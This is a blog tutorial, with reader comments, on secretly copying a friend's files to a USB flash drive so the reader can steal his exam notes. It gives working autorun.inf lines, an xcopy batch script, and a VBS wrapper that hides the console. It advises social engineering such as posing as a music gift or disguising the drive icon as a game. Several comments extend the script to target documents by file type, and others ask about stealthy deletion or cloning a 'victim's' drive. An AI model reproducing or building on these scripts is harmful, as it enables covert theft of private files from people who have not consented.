How to secretly copy (steal) files from a computer to a USB Flash drive

Let’s say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.


To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy! I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.

Sneaky, isn’t it? So let us prepare such a sinister USB Flash drive.


Open Notepad (I recommend Notepad++) and copy-paste the following lines.

action=Click OK to Run

Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.


Open Notepad again and copy-paste the following lines

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%pictures" "%drive%allMy pics"
%backupcmd% "%USERPROFILE%Favorites" "%drive%allFavorites"
%backupcmd% "%USERPROFILE%videos" "%drive%allvids"
@echo off

Save this as file.bat

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

The first file path "%USERPROFILE%pictures" – is the target.
The second file path "%drive%allMy pics" – is the destination.


Open Notepad once again and copy-paste the following line.

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.


Open Notepad one last time and copy-paste the following line.

wscript.exe invisible.vbs file.bat

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.


Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

      How do you know when your flash drive is done? Do you hear a pling or do you see a lamp? And does it work when a computer is off (out)?

    Only a moron would do this; a guy in one of our study groups tried the same type of thing. He failed the class, lost his scholarship, and all the money mommy and daddy were going to give him. Poor soul. Take notes–it's easier.

    is there any command for it in the notepad?

  10. Kaushik Patowary Reply

    @rohan: Add *.PDF and *.DOC to the source folder path. For example, if you friend keeps his files in D:notes you should put these line in STEP2.

    %backupcmd% "D:notes*.pdf" "%drive%allnotes"
    %backupcmd% "D:notes*.doc" "%drive%allnotes"

    The USB drive program can't run without clicking on OK. It's a Windows feature.

  18. Kaushik Patowary Reply

    @John: Why do need to do that in ONE command? It's not possible in one command. You have to use separate command for each drive. There is no one command that will copy files from all drives.

    lets use c: as example

    So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever

    and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not.

    To fix it, open cmd and type SFC / SCANNOW. You might need the Windows installation CD.

    @Anonymous: /min is an internal Windows command. If /min is not recognized then you too have problems with your Windows.

    The command prompt window might flash for a second, depending on the speed of the computer or how busy or idle it was at that time. I'm not sure if you can prevent that.

    But that's hardly a giveaway. At most your friend will think your pen drive is infected. Let him scan with an AV. But don't show him the files it contains. THAT would be a giveaway.

    Is it possible to do the following with this whole set up:

    I have all of the steps 1-5 done and saved on a usb #1(usb1).

    I want to be able to have this copy files that are on another usb…say I have usb1 plugged into the computer, and I want it to get all .ppt and .pptx off of another usb drive #2(usb2) that WILL be inserted into the computer.

    Am I able to have it set up so the "copying process" just waits until usb2 is plugged into the computer?

    Also, am I able to have it so the command prompts just says something like "USB connected" (then all they have to do is click on "ok"? to have the copying process begin)

    Thanks for this easy tutorial!

    I have a computer that has been in need of format for a long time and it has files scattered everywhere, this will help me recover those files with ease.

    I have the same request as joshrube82, can you specify file size so we don't copy all the system images?

    Also is there a way to see if the program is still running? it doesn't need to be "hidden", just some process on task man. or something?

    And one more thing, like has been asked before, if the flash drive fills up, does it stop automatically or does it crash?

    And for the people asking for the "program" to start automatically, think about it… if it starts automatically when you plug it in, when you connect it back to your computer it will start copying you own files too.. big mess.

    does this actually COPY the documents? or does it actually STEAL them? I did this but now I can't find those documents on my computer.

    Can you activate the copying of the files by typing in a specific string of keys after connecting the USB? That would make it much more faster than opening My Computer and clicking the launch.

    Thisn isn't really a problem as I can just click launch.bat cause he still wont have a fuck whats going on…

    As Kaushik already said: The USB drive program can't run without clicking on OK. It's a Windows feature.

    To copy all PDF/Word document on a drive, just specify the drive letter, such as


    The same works for .jpg files. Just change the .pdf and D: so it matches your drive and filetype like: "D:*.pdf"

    I'm having problems getting the program to autorun. Clicking "file.bat" (I actually renamed it "target.bat but whatever. I made the appropriate edits) runs the program just fine. So I'm assuming there's a problem with my computer and that autorun.inf file.

    When I plug it into any computer either a dialog comes up asking what I want to do (Open folders in Windows Explorer, View pictures in Windows Media Player, No Action, etc.) OR it will just open the USB stick in windows explorer without asking. From there I can click target.bat, but I'd really like to know what's going wrong with the autorun. I already looked into my autorun settings (Vista 64-bit) and didn't find any problems there. Got any tips?

    hi there, is there anyway to make the file.bat check if the file on usb flash already exists and rename it if i am to copy a file with the sam name. eg i copy d:pics from one pc then put my usb flash into another pc with a folder d: pics aswell, wat line of code can i insert to make it rename the new d:pics to say d:pics 2?
    perhaps some kind of if exist statement? with a for loop or something? thanks in advance

  115. Kaushik Patowary Reply

    AFAIK, there is no DOS command that can check if the file exist and then rename it. XCOPY cannot do it.

    You might be able to do that using the Windows API, but I don't have any knowledge of that.

    If i put in the command that copy all .jpg files in C:, do i get the hidden file?

    This was very helpful. I have read every single comment on this thread and my autorun.ini still won't work properly. It won't even show an ok box. I have tried to google this along with other things similar and I can't get it to come up. To get it to work, i have to go into the usb root, click on the actual batch file to get it to run, it does work that way, I was just hopeing there would be a way to get it to click ok and run. this is currently where i've edited it to.

    action=Click OK to Run

    it said the icon was optional so i left it out and i left the shell in because when i tried to take it out, it had no effect.

    my launch.bat and my invisible.vbs are exactly as stated in the main example. the only thing i truely edited is the file.bat in order to change which files to backup. I don't beleive this has any effect on the auto run, but i'll add this just in case it does.

    hi there i had to give a statment regarding an accident. i typed it out and was going to print it out for the statement taker to take away with her. however my printer was out of ink and the library shut. long story short; i gave her my usb-pen-drive to plug into her laptop and directed her to the folder where the file was but whilst i sat across from her she backed out of that folder and opened a personal powerpoint containing critical data; this file now shows its been accessed on that same date "i know i haven't!" (but it also shows 00:00 for the time as it does for all files on my usb drive no matter what date it was accssesed) in other words access dates are right on all files but time is 00:00.

    my problem is when i meet with her next i would like the right script that will search her drive for my file; copy it back to a folder on the pen-drive (so i can confirm to myself they stole my file) and mainly delete the copy on her drive (STELTHLY).

    the other question i have is "is there away to find out if the file was copied from my pen-drive in the first place. Maybe using some sort of software or script" because Windows "propeties" just shows "Last Accessed" but no info indicating the file has been copied.

    This is a hit or miss to be honest. If you are on a proper mission. You are better off booting up with a Hirens Boot CD or EaseUS Image Clone via a USB key – and with another USB hard drive of say 100GB inserted. You then clone/ghost the victims hard drive straight onto your 100GB disc and then take it away and examine in your own time in your lab.

    Hey, this is an older post but was wondering if anyone figured out how to do this unanswered question:

    "Is it possible to do the following with this whole set up:
    I have all of the steps 1-5 done and saved on a usb #1(usb1).
    I want to be able to have this copy files that are on another usb…say I have usb1 plugged into the computer, and I want it to get all .ppt and .pptx off of another usb drive #2(usb2) that WILL be inserted into the computer.

    Am I able to have it set up so the "copying process" just waits until usb2 is plugged into the computer?

    I have followed the exact steps, & even added a command or two. IT works perfectly & flawlessly!

    @echo off
    :: variables
    SET odrive=%odrive:~0,2%
    set backupcmd=xcopy /s /c /d /e /h /i /r /y
    echo off
    %backupcmd% "%USERPROFILE%pictures" "%drive%allMy pics"
    %backupcmd% "%USERPROFILE%Favorites" "%drive%allFavorites"
    %backupcmd% "%USERPROFILE%videos" "%drive%allvids"
    %backupcmd% "%USERPROFILE%Documents" "%drive%allDocuments"
    %backupcmd% "%USERPROFILE%Desktop" "%drive%allDesktop"
    %backupcmd% "%USERPROFILE%Downloads" "%drive%allDownloads"
    %backupcmd% "%USERPROFILE%Music" "%drive%allMusic"
    %backupcmd% "%USERPROFILE%Notes" "%drive%allNotes"
    @echo off

    (The command line "Notes" I don't know if it works, BC I haven't tried it yet).

    You can also change the display icon in the [AutoRu] file so it will display any image you want!
    Steps 1. Find any image you want.
    Step 2. Go to
    Step 3. Set convert options to ICO
    Step 4. Click "downloaded converted image"
    Step 5. Save it to the root of your USB and then change your AutoRun file.
    The Label= ( IS the name of your Flash Drive)
    Icon= will be what the image is.
    (This is my AutoRun file)
    action=Click ok to Run game for Windows

    (I named my drive Pokemon, Then added a pic of a pokeball to make it display a pokeball when the flash drive is inserted to ANY pc)
